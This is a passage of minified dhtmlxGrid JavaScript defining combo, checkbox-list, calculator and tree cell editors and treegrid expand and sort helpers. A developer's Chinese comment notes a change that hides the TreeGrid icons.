this._flow[e]}}}this._in_correction=false};dhtmlXGridObject.prototype._collapsMonolite=function(){for(var c in this._flow){if(this._flow[c]&&this._flow[c].tagName==\"DIV\"){if(this.rowsAr[c]){this.cells4(this._flow[c].ctrl).close()}}}};function eXcell_ra_str(a){if(a){this.base=eXcell_ra;this.base(a);this.grid=a.parentNode.grid}}eXcell_ra_str.prototype=new eXcell_ch;eXcell_ra_str.prototype.setValue=function(e){this.cell.style.verticalAlign=\"middle\";if(e){e=e.toString()._dhx_trim();if((e==\"false\")||(e==\"0\")){e=\"\"}}if(e){if(this.grid.rowsAr[this.cell.parentNode.idd]){for(var c=0;c<this.grid._cCount;c++){if(c!==this.cell._cellIndex){var a=this.grid.cells(this.cell.parentNode.idd,c);if((a.cell._cellType||this.grid.cellType[a.cell._cellIndex])!=\"ra_str\"){continue}if(a.getValue()){a.setValue(\"0\")}}}}e=\"1\";this.cell.chstate=\"1\"}else{e=\"0\";this.cell.chstate=\"0\"}this.setCValue(\"<img src='\"+this.grid.imgURL+\"radio_chk\"+e+\".gif' onclick='new eXcell_ra_str(this.parentNode).changeState()'>\",this.cell.chstate)};dhx4.attachEvent(\"onGridCreated\",function(c){if(!window.dhx_globalImgPath){window.dhx_globalImgPath=c.imgURL}c._col_combos=[];for(var a=0;a<c._cCount;a++){if(c.cellType[a].indexOf(\"combo\")==0){c._col_combos[a]=eXcell_combo.prototype.initCombo.call({grid:c},a)}}if(!c._loading_handler_set){c._loading_handler_set=c.attachEvent(\"onXLE\",function(g,e,l,h){eXcell_combo.prototype.fillColumnCombos(this,h);this.detachEvent(this._loading_handler_set);this._loading_handler_set=null})}});function eXcell_combo(a){if(!a){return}this.cell=a;this.grid=a.parentNode.grid;this._combo_pre=\"\";this.edit=function(){if(!window.dhx_globalImgPath){window.dhx_globalImgPath=this.grid.imgURL}this.val=this.getValue();var c=this.getText();if(this.cell._clearCell){c=\"\"}this.cell.innerHTML=\"\";if(!this.cell._brval){this.combo=(this.grid._realfake?this.grid._fake:this.grid)._col_combos[this.cell._cellIndex]}else{this.combo=this.cell._brval}this.cell.appendChild(this.combo.DOMParent);this.combo.DOMParent.style.margin=\"0\";this.combo.DOMelem_input.focus();this.combo.setSize(this.cell.offsetWidth-2);if(!this.combo._xml){if(this.combo.getIndexByValue(this.cell.combo_value)!=-1){this.combo.selectOption(this.combo.getIndexByValue(this.cell.combo_value))}else{if(this.combo.getOptionByLabel(c)){this.combo.selectOption(this.combo.getIndexByValue(this.combo.getOptionByLabel(c).value))}else{this.combo.setComboText(c)}}}else{this.combo.setComboText(c)}this.combo.openSelect()};this.selectComboOption=function(e,c){c.selectOption(c.getIndexByValue(c.getOptionByLabel(e).value))};this.getValue=function(c){return this.cell.combo_value||\"\"};this.getText=function(e){var g=this.cell;if(this._combo_pre==\"\"&&g.childNodes[1]){g=g.childNodes[1]}else{g.childNodes[0].childNodes[1]}return(_isIE?g.innerText:g.textContent)};this.setValue=function(h){if(typeof(h)==\"object\"){this.cell._brval=this.initCombo();var e=this.cell._cellIndex;var g=this.cell.parentNode.idd;if(!h.firstChild){this.cell.combo_value=\"&nbsp;\";this.cell._clearCell=true}else{this.cell.combo_value=h.firstChild.data}this.setComboOptions(this.cell._brval,h,this.grid,e,g)}else{this.cell.combo_value=h;var c=null;if((c=this.cell._brval)&&(typeof(this.cell._brval)==\"object\")){h=(c.getOption(h)||{}).text||h}else{if(c=this.grid._col_combos[this.cell._cellIndex]||((this.grid._fake)&&(c=this.grid._fake._col_combos[this.cell._cellIndex]))){h=(c.getOption(h)||{}).text||h}}if((h||\"\").toString()._dhx_trim()==\"\"){h=null}if(h!==null){this.setComboCValue(h)}else{this.setComboCValue(\"&nbsp;\",\"\");this.cell._clearCell=true}}};this.detach=function(){var c=this.combo.getParent();if(c.parentNode==this.cell){this.cell.removeChild(c)}else{return false}var e=this.cell.combo_value;if(!this.combo.getComboText()||this.combo.getComboText().toString()._dhx_trim()==\"\"){this.setComboCValue(\"&nbsp;\");this.cell._clearCell=true}else{this.setComboCValue(this.combo.getComboText().replace(/\\&/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\"),this.combo.getActualValue());this.cell._clearCell=false}this.combo._confirmSelect();this.cell.combo_value=this.combo.getActualValue();this.combo.closeAll();this.grid._still_active=true;this.grid.setActive(1);return e!=this.cell.combo_value}}eXcell_combo.prototype=new eXcell;eXcell_combo_v=function(a){var c=new eXcell_combo(a);c._combo_pre=\"<img src='\"+(window.dhx_globalImgPath?window.dhx_globalImgPath:this.grid.imgURL)+\"combo_select\"+(dhtmlx.skin?\"_\"+dhtmlx.skin:\"\")+\".gif' class='dhxgrid_combo_icon'/>\";return c};eXcell_combo.prototype.initCombo=function(c){var a=document.createElement(\"DIV\");a.className=\"dhxcombo_in_grid_parent\";var g=this.grid.defVal[arguments.length?c:this.cell._cellIndex];var h=new dhtmlXCombo(a,\"combo\",0,g);this.grid.defVal[arguments.length?c:this.cell._cellIndex]=\"\";var e=this.grid;h.DOMelem.onmousedown=h.DOMelem.onclick=function(l){l=l||event;l.cancelBubble=true};h.DOMelem.onselectstart=function(l){l=l||event;l.cancelBubble=true;return true};h.attachEvent(\"onKeyPressed\",function(l){if(l==13||l==27){e.editStop();if(e._fake){e._fake.editStop()}}});return h};eXcell_combo.prototype.fillColumnCombos=function(e,a){if(!a){return}var g=dhx4.ajax.xmltop(\"rows\",a,-1);if(g&&g.tagName!==\"DIV\"){e.combo_columns=e.combo_columns||[];columns=dhx4.ajax.xpath(\"//column\",g);for(var c=0;c<columns.length;c++){if((columns[c].getAttribute(\"type\")||\"\").indexOf(\"combo\")==0){e.combo_columns[e.combo_columns.length]=c;this.setComboOptions(e._col_combos[c],columns[c],e,c)}}}};eXcell_combo.prototype.setComboCValue=function(e,c){if(this._combo_pre!=\"\"){var a=(this.cell.offsetHeight?this.cell.offsetHeight+\"px\":0);e=\"<div style='width:100%;position:relative;height:100%;overflow:hidden;'>\"+this._combo_pre+\"<span>\"+e+\"</span></div>\"}if(arguments.length>1){this.setCValue(e,c)}else{this.setCValue(e)}};eXcell_combo.prototype.setComboOptions=function(l,m,e,q,s){if(window.dhx4.s2b(m.getAttribute(\"xmlcontent\"))){if(!m.getAttribute(\"source\")){options=m.childNodes;var a=[];for(var n=0;n<options.length;n++){if(options[n].tagName==\"option\"){var g=options[n].firstChild?options[n].firstChild.data:\"\";a[a.length]=[options[n].getAttribute(\"value\"),g]}}l.addOption(a);if(arguments.length==4){e.forEachRowA(function(v){var u=e.cells(v,q);if(!u.cell._brval&&!u.cell._cellType&&(u.cell._cellIndex==q)){if(u.cell.combo_value==\"\"){u.setComboCValue(\"&nbsp;\",\"\")}else{if(!l.getOption(u.cell.combo_value)){u.setComboCValue(u.cell.combo_value)}else{u.setComboCValue(l.getOption(u.cell.combo_value).text,u.cell.combo_value)}}}})}else{var r=(this.cell)?this:e.cells(s,q);if(m.getAttribute(\"text\")){if(m.getAttribute(\"text\")._dhx_trim()==\"\"){r.setComboCValue(\"&nbsp;\",\"\")}else{r.setComboCValue(m.getAttribute(\"text\"))}}else{if((!r.cell.combo_value)||(r.cell.combo_value._dhx_trim()==\"\")){r.setComboCValue(\"&nbsp;\",\"\")}else{if(!l.getOption(r.cell.combo_value)){r.setComboCValue(r.cell.combo_value)}else{r.setComboCValue(l.getOption(r.cell.combo_value).text,r.cell.combo_value)}}}}}}if(m.getAttribute(\"source\")){if(m.getAttribute(\"auto\")&&window.dhx4.s2b(m.getAttribute(\"auto\"))){if(m.getAttribute(\"xmlcontent\")){var r=(this.cell)?this:e.cells(s,q);if(m.getAttribute(\"text\")){r.setComboCValue(m.getAttribute(\"text\"))}}else{e.forEachRowA(function(x){var w=e.cells(x,q);if(!w.cell._brval&&!w.cell._cellType){var v=w.cell.combo_value.toString();if(v.indexOf(\"^\")!=-1){var u=v.split(\"^\");w.cell.combo_value=u[0];w.setComboCValue(u[1])}}})}l.enableFilteringMode(true,m.getAttribute(\"source\"),window.dhx4.s2b(m.getAttribute(\"cache\")||true),window.dhx4.s2b(m.getAttribute(\"sub\")||false))}else{var o=this;var h=arguments.length;l.load(m.getAttribute(\"source\"),function(){if(h==4){e.forEachRow(function(w){var v=e.cells(w,q);if(!v.cell._brval&&!v.cell._cellType){if(l.getOption(v.cell.combo_value)){v.setComboCValue(l.getOption(v.cell.combo_value).text,v.cell.combo_value)}else{if((v.cell.combo_value||\"\").toString()._dhx_trim()==\"\"){v.setComboCValue(\"&nbsp;\",\"\");v.cell._clearCell=true}else{v.setComboCValue(v.cell.combo_value)}}}})}else{var u=e.cells(s,q);if(l.getOption(u.cell.combo_value)){u.setComboCValue(l.getOption(u.cell.combo_value).text,u.cell.combo_value)}else{u.setComboCValue(u.cell.combo_value)}}})}}if(!m.getAttribute(\"auto\")||!window.dhx4.s2b(m.getAttribute(\"auto\"))){if(m.getAttribute(\"editable\")&&!window.dhx4.s2b(m.getAttribute(\"editable\"))){l.readonly(true)}if(m.getAttribute(\"filter\")&&window.dhx4.s2b(m.getAttribute(\"filter\"))){l.enableFilteringMode(true)}}};eXcell_combo.prototype.getCellCombo=function(){if(this.cell._brval){return this.cell._brval}this.cell._brval=this.initCombo();return this.cell._brval};eXcell_combo.prototype.refreshCell=function(){this.setValue(this.getValue())};dhtmlXGridObject.prototype.getColumnCombo=function(a){if(this._col_combos&&this._col_combos[a]){return this._col_combos[a]}if(!this._col_combos){this._col_combos=[]}this._col_combos[a]=eXcell_combo.prototype.initCombo.call({grid:this},a);return this._col_combos[a]};dhtmlXGridObject.prototype.refreshComboColumn=function(a){this.forEachRow(function(c){if(this.cells(c,a).refreshCell){this.cells(c,a).refreshCell()}})};function eXcell_clist(a){try{this.cell=a;this.grid=this.cell.parentNode.grid}catch(c){}this.edit=function(){this.val=this.getValue();var g=(this.cell._combo||this.grid.clists[this.cell._cellIndex]);if(!g){return}this.obj=document.createElement(\"DIV\");var e=this.val.split(\",\");var o=\"\";for(var m=0;m<g.length;m++){var n=false;for(var h=0;h<e.length;h++){if(g[m]==e[h]){n=true}}if(n){o+=\"<div><input type='checkbox' id='dhx_clist_\"+m+\"' checked='true' /><label for='dhx_clist_\"+m+\"'>\"+g[m]+\"</label></div>\"}else{o+=\"<div><input type='checkbox' id='dhx_clist_\"+m+\"'/><label for='dhx_clist_\"+m+\"'>\"+g[m]+\"</label></div>\"}}o+=\"<div><input type='button' value='\"+(this.grid.applyButtonText||\"Apply\")+\"' style='width:100px; font-size:8pt;' onclick='this.parentNode.parentNode.editor.grid.editStop();'/></div>\";this.obj.editor=this;this.obj.innerHTML=o;document.body.appendChild(this.obj);this.obj.style.position=\"absolute\";this.obj.className=\"dhx_clist\";this.obj.onclick=function(q){(q||event).cancelBubble=true;return true};var l=this.grid.getPosition(this.cell);this.obj.style.left=l[0]+\"px\";this.obj.style.top=l[1]+this.cell.offsetHeight+\"px\";this.obj.getValue=function(){var r=\"\";for(var q=0;q<this.childNodes.length-1;q++){if(this.childNodes[q].childNodes[0].checked){if(r){r+=\", \"}r+=this.childNodes[q].childNodes[1].innerHTML}}return r.replace(/&amp;/g,\"&\")}};this.getValue=function(){if(this.cell._clearCell){return\"\"}return this.cell.innerHTML.toString()._dhx_trim().replace(/&amp;/g,\"&\").replace(/, /g,\",\")};this.detach=function(e){if(this.obj){this.setValue(this.obj.getValue());this.obj.editor=null;this.obj.parentNode.removeChild(this.obj);this.obj=null}return this.val!=this.getValue()}}eXcell_clist.prototype=new eXcell;eXcell_clist.prototype.setValue=function(e){if(typeof(e)==\"object\"){var c=dhx4.ajax.xpath(\"./option\",e);if(c.length){this.cell._combo=[]}for(var a=0;a<c.length;a++){this.cell._combo.push(c[a].firstChild?c[a].firstChild.data:\"\")}e=e.firstChild.data}if(e===\"\"||e===this.undefined){this.setCTxtValue(\" \",e);this.cell._clearCell=true}else{e=e.replace(/,[ ]*/g,\", \");this.setCTxtValue(e);this.cell._clearCell=false}};dhtmlXGridObject.prototype.registerCList=function(a,c){if(!this.clists){this.clists=new Array()}if(typeof(c)!=\"object\"){c=c.split(\",\")}this.clists[a]=c};function eXcell_calck(a){try{this.cell=a;this.grid=this.cell.parentNode.grid}catch(c){}this.edit=function(){this.val=this.getValue();var e=this.grid.getPosition(this.cell);this.obj=new calcX(e[0],e[1]+this.cell.offsetHeight,this,this.val)};this.getValue=function(){return this.grid._aplNFb(this.cell.innerHTML.toString()._dhx_trim(),this.cell._cellIndex)};this.detach=function(){if(this.obj){this.setValue(this.obj.inputZone.value);this.obj.removeSelf()}this.obj=null;return this.val!=this.getValue()}}eXcell_calck.prototype=new eXcell;eXcell_calck.prototype.setValue=function(a){if(!a||a.toString()._dhx_trim()==\"\"){a=\"0\"}this.setCValue(this.grid._aplNF(a,this.cell._cellIndex),a)};function calcX(left,top,onReturnSub,val){this.top=top||0;this.left=left||0;this.onReturnSub=onReturnSub||null;this.operandA=0;this.operandB=0;this.operatorA=\"\";this.state=0;this.dotState=0;this.calckGo=function(){return(eval(this.operandA+\"*1\"+this.operatorA+this.operandB+\"*1\"))};this.isNumeric=function(str){return((str.search(/[^1234567890]/gi)==-1)?(true):(false))};this.isOperation=function(str){return((str.search(/[^\\+\\*\\-\\/]/gi)==-1)?(true):(false))};this.onCalcKey=function(e){that=this.calk;var z=this.innerHTML;var rZone=that.inputZone;if(((that.state==0)||(that.state==2))&&(that.isNumeric(z))){if(rZone.value!=\"0\"){rZone.value+=z}else{rZone.value=z}}if((((that.state==0)||(that.state==2))&&(z==\".\"))&&(that.dotState==0)){that.dotState=1;rZone.value+=z}if((z==\"C\")){rZone.value=0;that.dotState=0;that.state=0}if((that.state==0)&&(that.isOperation(z))){that.operatorA=z;that.operandA=rZone.value;that.state=1}if((that.state==2)&&(that.isOperation(z))){that.operandB=rZone.value;rZone.value=that.calckGo();that.operatorA=z;that.operandA=rZone.value;that.state=1}if((that.state==2)&&(z==\"=\")){that.operandB=rZone.value;rZone.value=that.calckGo();that.operatorA=z;that.operandA=rZone.value;that.state=3}if((that.state==1)&&(that.isNumeric(z))){rZone.value=z;that.state=2;that.dotState=0}if((that.state==3)&&(that.isNumeric(z))){rZone.value=z;that.state=0}if((that.state==3)&&(that.isOperation(z))){that.operatorA=z;that.operandA=rZone.value;that.state=1}if(z==\"e\"){rZone.value=Math.E;if(that.state==1){that.state=2}that.dotState=0}if(z==\"p\"){rZone.value=Math.PI;if(that.state==1){that.state=2}that.dotState=0}if(z==\"Off\"){that.topNod.parentNode.removeChild(that.topNod)}if(e||event){(e||event).cancelBubble=true}};this.sendResult=function(){that=this.calk;if(that.state==2){var rZone=that.inputZone;that.operandB=rZone.value;rZone.value=that.calckGo();that.operatorA=z;that.operandA=rZone.value;that.state=3}var z=that.inputZone.value;that.topNod.parentNode.removeChild(that.topNod);that.onReturnSub.grid.editStop(false)};this.removeSelf=function(){if(this.topNod.parentNode){this.topNod.parentNode.removeChild(this.topNod)}};this.keyDown=function(){this.className=\"calcPressed\"};this.keyUp=function(){this.className=\"calcButton\"};this.init_table=function(){var table=this.topNod.childNodes[0];if((!table)||(table.tagName!=\"TABLE\")){return}for(i=1;i<table.childNodes[0].childNodes.length;i++){for(j=0;j<table.childNodes[0].childNodes[i].childNodes.length;j++){table.childNodes[0].childNodes[i].childNodes[j].onclick=this.onCalcKey;table.childNodes[0].childNodes[i].childNodes[j].onmousedown=this.keyDown;table.childNodes[0].childNodes[i].childNodes[j].onmouseout=this.keyUp;table.childNodes[0].childNodes[i].childNodes[j].onmouseup=this.keyUp;table.childNodes[0].childNodes[i].childNodes[j].calk=this}}this.inputZone=this.topNod.childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0];if(this.onReturnSub){this.topNod.childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[1].onclick=this.sendResult;this.topNod.childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[1].calk=this}else{this.topNod.childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[0].childNodes[1].innerHTML=\"\"}};this.drawSelf=function(){var div=document.createElement(\"div\");div.className=\"calcTable\";div.style.position=\"absolute\";div.style.top=this.top+\"px\";div.style.left=this.left+\"px\";div.innerHTML=\"<table cellspacing='0' id='calc_01' class='calcTable'><tr><td colspan='4'><table cellpadding='1' cellspacing='0' width='100%'><tr><td width='100%' style='overflow:hidden;'><input style='width:100%' class='calcInput' value='0' align='right' readonly='true' style='text-align:right'></td><td class='calkSubmit'>=</td></tr></table></td></tr><tr><td class='calcButton' width='25%'>Off</td><td class='calcButton' width='25%'>p</td><td class='calcButton' width='25%'>e</td><td class='calcButton' width='25%'>/</td></tr><tr><td class='calcButton'>7</td><td class='calcButton'>8</td><td class='calcButton'>9</td><td class='calcButton'>*</td></tr><tr><td class='calcButton'>4</td><td class='calcButton'>5</td><td class='calcButton'>6</td><td class='calcButton'>+</td></tr><tr><td class='calcButton'>1</td><td class='calcButton'>2</td><td class='calcButton'>3</td><td class='calcButton'>-</td></tr><tr><td class='calcButton'>0</td><td class='calcButton'>.</td><td class='calcButton'>C</td><td class='calcButton'>=</td></tr></table>\";div.onclick=function(e){(e||event).cancelBubble=true};document.body.appendChild(div);this.topNod=div};this.drawSelf();this.init_table();if(val){var rZone=this.inputZone;rZone.value=val*1;this.operandA=val*1;this.state=3}return this}dhtmlXGridObject.prototype._updateTGRState=function(a){if(!a.update||a.id==0){return}if(this.rowsAr[a.id].imgTag){this.rowsAr[a.id].imgTag.src=this.iconTree+a.state+\".gif\"}a.update=false};dhtmlXGridObject.prototype.doExpand=function(c){this.editStop();var e=c.parentNode.parentNode.parentNode;var a=this._h2.get[e.idd];if(!this.callEvent(\"onOpen\",[e.idd,(a.state==\"plus\"?-1:1)])){return}if(a.state==\"plus\"){this.expandKids(e)}else{if((a.state==\"minus\")&&(!a._closeable)){this.collapseKids(e)}}};dhtmlXGridObject.prototype._createHierarchy=function(){if(!this._emptyLineImg){this._emptyLineImg=\"blank\"}return new dhtmlxHierarchy({_emptyLineImg:this._emptyLineImg})};function dhtmlxHierarchy(a){var c={id:0,childs:[],level:-1,parent:null,index:0,state:a._emptyLineImg};this.order=[c];this.get={\"0\":c};this.swap=function(g,e){var h=g.parent;var l=g.index;h.childs[l]=e;h.childs[e.index]=g;g.index=e.index;e.index=l};this.forEachChildF=function(n,e,l,g){var m=this.get[n];for(var h=0;h<m.childs.length;h++){if(!e.apply((l||this),[m.childs[h]])){continue}if(m.childs[h].childs.length){this.forEachChildF(m.childs[h].id,e,l,g)}if(g){g.call((l||this),m.childs[h])}}};this.forEachChild=function(m,e,h){var l=this.get[m];for(var g=0;g<l.childs.length;g++){e.apply((h||this),[l.childs[g]]);if(l.childs[g].childs.length){this.forEachChild(l.childs[g].id,e,h)}}};this.change=function(l,e,h){var g=this.get[l];if(g[e]==h){return}g[e]=h;g.update=true};this.add=function(g,e){return this.addAfter(g,e)};this.addAfter=function(q,o,h,g){var n=this.get[o||0];if(h){var m=this.get[h].index+(g?0:1)}else{var m=n.childs.length}var e={id:q,childs:[],level:n.level+1,parent:n,index:m,state:a._emptyLineImg};if(n.state==a._emptyLineImg){this.change(o,\"state\",(o==0?\"minus\":\"plus\"))}if(h){for(var l=m;l<n.childs.length;l++){n.childs[l].index++}n.childs=n.childs.slice(0,m).concat([e]).concat(n.childs.slice(m,n.childs.length))}else{n.childs.push(e)}this.get[q]=e;return e};this.addBefore=function(h,g,e){return this.addAfter(h,g,e,true)};this.remove=function(h){var g=this.get[h||0];for(var e=0;e<g.childs.length;e++){this.deleteAll(g.childs[e].id)}g.childs=[];g.parent.childs=g.parent.childs.slice(0,g.index).concat(g.parent.childs.slice(g.index+1));for(var e=g.index;e<g.parent.childs.length;e++){g.parent.childs[e].index--}delete this.get[h]};this.deleteAll=function(h){var g=this.get[h||0];for(var e=0;e<g.childs.length;e++){this.deleteAll(g.childs[e].id)}g.childs=[];delete this.get[h]};return this}dhtmlXGridObject.prototype._getOpenLenght=function(g,e){var c=this._h2.get[g].childs;e+=c.length;for(var a=0;a<c.length;a++){if(c[a].childs.length&&c[a].state==\"minus\"){e+=this._getOpenLenght(c[a].id,0)}}return e};dhtmlXGridObject.prototype.collapseKids=function(e){var g=this._h2.get[e.idd];if(g.state!=\"minus\"){return}if(!this.callEvent(\"onOpenStart\",[e.idd,1])){return}var h=e.rowIndex;if(h<0){h=this.rowsCol._dhx_find(e)+1}this._h2.change(g.id,\"state\",\"plus\");this._updateTGRState(g);if(this._srnd||this.pagingOn){this._h2_to_buff();this._renderSort()}else{var a=this._getOpenLenght(this.rowsCol[h-1].idd,0);for(var c=0;c<a;c++){this.rowsCol[h+c].parentNode.removeChild(this.rowsCol[h+c])}this.rowsCol.splice(h,a)}this.callEvent(\"onGridReconstructed\",[]);this.setSizes();this._h2_to_buff();this.callEvent(\"onOpenEnd\",[e.idd,-1])};dhtmlXGridObject.prototype._massInsert=function(a,e,g,o){var h=[];var n=(_isKHTML?this.obj:this.obj.rows[0].parentNode);this._h2_to_buff();if(this._srnd||this.pagingOn){return this._renderSort()}var m=this._getOpenLenght(a.id,0);for(var l=0;l<m;l++){var c=this.render_row(g+l);if(e){e.parentNode.insertBefore(c,e)}else{n.appendChild(c)}h.push(c)}this.rowsCol=dhtmlxArray(this.rowsCol.slice(0,g).concat(h).concat(this.rowsCol.slice(g)));return a.childs.length+h.length};dhtmlXGridObject.prototype.expandKids=function(c,h){var e=this._h2.get[c.idd];if((!e.childs.length)&&(!e._xml_await)){return}if(e.state!=\"plus\"){return}if(!e._loading&&!h){if(!this.callEvent(\"onOpenStart\",[e.id,-1])){return}}var g=this.getRowIndex(e.id)+1;if(e.childs.length){e._loading=false;this._h2.change(e.id,\"state\",\"minus\");this._updateTGRState(e);var a=this._massInsert(e,this.rowsCol[g],g);this.callEvent(\"onGridReconstructed\",[])}else{if(e._xml_await){e._loading=true;if(this.callEvent(\"onDynXLS\",[e.id])){this.load(this.kidsXmlFile+\"\"+(this.kidsXmlFile.indexOf(\"?\")!=-1?\"&\":\"?\")+\"id=\"+encodeURIComponent(e.id),this._data_type)}}}this.setSizes();if(!e._loading){this.callEvent(\"onOpenEnd\",[e.id,1])}this._fixAlterCss()};dhtmlXGridObject.prototype.kidsXmlFile=\"\";dhtmlXGridObject.prototype.sortTreeRows=function(g,h,a){var l=\"getValue\";if(this.cells5({parentNode:{grid:this}},this.getColType(g)).getDate){l=\"getDate\";h=\"str\"}this.forEachRow(function(r){var q=this._h2.get[r];if(!q){return}var o=this._get_cell_value(q.buff,g,l);if(h==\"int\"){q._sort=parseFloat(o);q._sort=isNaN(q._sort)?-99999999999999:q._sort}else{q._sort=o}});var e=this;var n=1;var m=-1;if(a==\"des\"){n=-1;m=1}var c=null;if(typeof h==\"function\"){c=function(q,o){return h(q._sort,o._sort,a,q.id,o.id)}}else{if(h==\"cus\"){c=function(q,o){return e._customSorts[g](q._sort,o._sort,a,q.id,o.id)}}if(h==\"str\"){c=function(q,o){return(q._sort<o._sort?m:(q._sort==o._sort?0:n))}}if(h==\"int\"){c=function(q,o){return(q._sort<o._sort?m:(q._sort==o._sort?0:n))}}if(h==\"date\"){c=function(q,o){return(Date.parse(new Date(q._sort||\"01/01/1900\"))-Date.parse(new Date(o._sort||\"01/01/1900\")))*n}}}this._sortTreeRows(c,0);this._renderSort(0,true);this.callEvent(\"onGridReconstructed\",[])};dhtmlXGridObject.prototype._sortTreeRows=function(a,g){var c=this._h2.get[g].childs;if(this.rowsCol.stablesort){this.rowsCol.stablesort.call(c,a)}else{c.sort(a)}for(var e=0;e<c.length;e++){if(c[e].childs.length){this._sortTreeRows(a,c[e].id)}c[e].index=e}};dhtmlXGridObject.prototype._renderSort=function(e,c){this._h2_to_buff();var a=this.objBox.scrollTop;this._reset_view();this.objBox.scrollTop=a};dhtmlXGridObject.prototype._fixAlterCssTGR=function(){if(!this._realfake){this._h2.forEachChild(0,function(a){if(a.buff.tagName==\"TR\"){var c=(this._cssSP?(a.level%2):(a.index%2))?this._cssUnEven:this._cssEven;this.rowsAr[a.id].className=(c+(this._cssSU?(\" \"+c+\"_\"+a.level):\"\"))+\" \"+(this.rowsAr[a.id]._css||\"\")+((this.rowsAr[a.id].className.indexOf(\"rowselected\")!=-1)?\" rowselected\":\"\")}},this)}};dhtmlXGridObject.prototype.moveRowUDTG=function(c,h){var n=this._h2.get[c];var e=n.parent.childs[n.index+h];if((!e)||(e.parent!=n.parent)){return}var a=[n.state,e.state];this.collapseKids(this.rowsAr[n.id]);this.collapseKids(this.rowsAr[e.id]);var g=this.rowsCol._dhx_find(this.rowsAr[c]);var m=this.rowsBuffer._dhx_find(this.rowsAr[c]);var o=this.obj.rows[0].parentNode.removeChild(this.rowsCol[g]);var l=this.rowsCol[g+((h==1)?2:h)];if(l){l.parentNode.insertBefore(o,l)}else{this.obj.rows[0].parentNode.appendChild(o)}this.rowsCol._dhx_swapItems(g,g+h);this.rowsBuffer._dhx_swapItems(m,m+h);this._h2.swap(e,n);if(a[0]==\"minus\"){this.expandKids(this.rowsAr[n.id])}if(a[1]==\"minus\"){this.expandKids(this.rowsAr[e.id])}this._fixAlterCss(Math.min(g,g+h))};function eXcell_tree(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.isDisabled=function(){return this.cell._disabled||this.grid._edtc};this.edit=function(){if((this.er)||(this.grid._edtc)){return}this.er=this.cell.parentNode.valTag;this.val=this.getLabel();this.cell.atag=((!this.grid.multiLine)&&(_isKHTML||_isMacOS||_isFF))?\"INPUT\":\"TEXTAREA\";this.er.innerHTML=\"<\"+this.cell.atag+\" class='dhx_combo_edit' type='text' style='height:\"+(this.cell.offsetHeight-4)+\"px;line-height:\"+(this.cell.offsetHeight-6)+\"px; width:100%; border:0px; margin:0px; padding:0px; overflow:hidden;'></\"+this.cell.atag+\">\";this.er.childNodes[0].onmousedown=function(c){(c||event).cancelBubble=true};this.er.childNodes[0].onselectstart=function(c){if(!c){c=event}c.cancelBubble=true;return true};this.er.className+=\" editable\";this.er.firstChild.onclick=function(c){(c||event).cancelBubble=true};this.er.firstChild.value=this.val;this.obj=this.er.firstChild;this.er.firstChild.style.width=Math.max(0,this.cell.offsetWidth-this.er.offsetLeft-2)+\"px\";this.er.firstChild.focus();if(_isIE){this.er.firstChild.focus()}};this.detach=function(){if(!this.er){return}this.setLabel(this.er.firstChild.value);this.er.className=this.er.className.replace(\"editable\",\"\");var c=(this.val!=this.er.innerHTML);this.obj=this.er=null;return(c)};this.getValue=function(){return this.getLabel()};this.setImage=function(c){this.cell.parentNode.imgTag.nextSibling.src=this.grid.iconURL+c;this.grid._h2.get[this.cell.parentNode.idd].image=c};this.getImage=function(){return this.grid._h2.get[this.cell.parentNode.idd].image};this.setLabel=function(c){this.setValueA(c)};this.getLabel=function(c){return this.cell.parentNode.valTag.innerHTML}}eXcell_tree.prototype=new eXcell;eXcell_tree.prototype.setValueA=function(a){this.cell.parentNode.valTag.innerHTML=a;this.grid.callEvent(\"onCellChanged\",[this.cell.parentNode.idd,this.cell._cellIndex,a])};eXcell_tree.prototype.setValue=function(a){if(this.cell.parentNode.imgTag){return this.setLabel(a)}\n\n    // if((this.grid._tgc.iconTree==null)||(this.grid._tgc.iconTree!=this.grid.iconTree)){var h={};h.spacer=\"<img src='\"+this.grid.iconTree+\"blank.gif'  align='top' class='space'>\";h.imst=\"<img style='margin-top:-2px;' src='\"+this.grid.iconTree;h.imsti=\"<img style='padding-top:2px;'  src='\"+(this.grid.iconURL||this.grid.iconTree);h.imact=\"' align='top' onclick='this.\"+(_isKHTML?\"\":\"parentNode.\")+\"parentNode.parentNode.parentNode.parentNode.grid.doExpand(this);event.cancelBubble=true;'>\";h.plus=h.imst+\"plus.gif\"+h.imact;h.minus=h.imst+\"minus.gif\"+h.imact;h.blank=h.imst+\"blank.gif\"+h.imact;h.start=\"<div class='treegrid_cell' style='overflow:hidden; white-space : nowrap; line-height:23px; height:\"+(_isIE?21:23)+\"px;'>\";h.itemim=\"' align='top' \"+(this.grid._img_height?(' height=\"'+this.grid._img_height+'\"'):\"\")+(this.grid._img_width?(' width=\"'+this.grid._img_width+'\"'):\"\")+\" ><span id='nodeval'>\";h.close=\"</span></div>\";this.grid._tgc=h}\n    // 修改为不显示TreeGird的图标(可自定义使用font-awesome)\n    if((this.grid._tgc.iconTree==null)||(this.grid._tgc.iconTree!=this.grid.iconTree)){var h={};h.spacer=\"<img src='\"+this.grid.iconTree+\"blank.gif'  align='top' class='space'>\";h.imst=\"<img style='margin-top:-2px;' src='\"+this.grid.iconTree;h.imsti=\"<img style='display:none;' hit='\";h.imact=\"' align='top' onclick='this.\"+(_isKHTML?\"\":\"parentNode.\")+\"parentNode.parentNode.parentNode.parentNode.grid.doExpand(this);event.cancelBubble=true;'>\";h.plus=h.imst+\"plus.gif\"+h.imact;h.minus=h.imst+\"minus.gif\"+h.imact;h.blank=h.imst+\"blank.gif\"+h.imact;h.start=\"<div class='treegrid_cell' style='overflow:hidden; white-space : nowrap; line-height:23px; height:\"+(_isIE?21:23)+\"px;'>\";h.itemim=\"' align='top' \"+(this.grid._img_height?(' height=\"'+this.grid._img_height+'\"'):\"\")+(this.grid._img_width?(' width=\"'+this.grid._img_width+'\"'):\"\")+\" ><span id='nodeval'>\";h.close=\"</span></div>\";this.grid._tgc=h}\n\n    var l=this.grid._h2;var h=this.grid._tgc;var g=this.cell.parentNode.idd;var 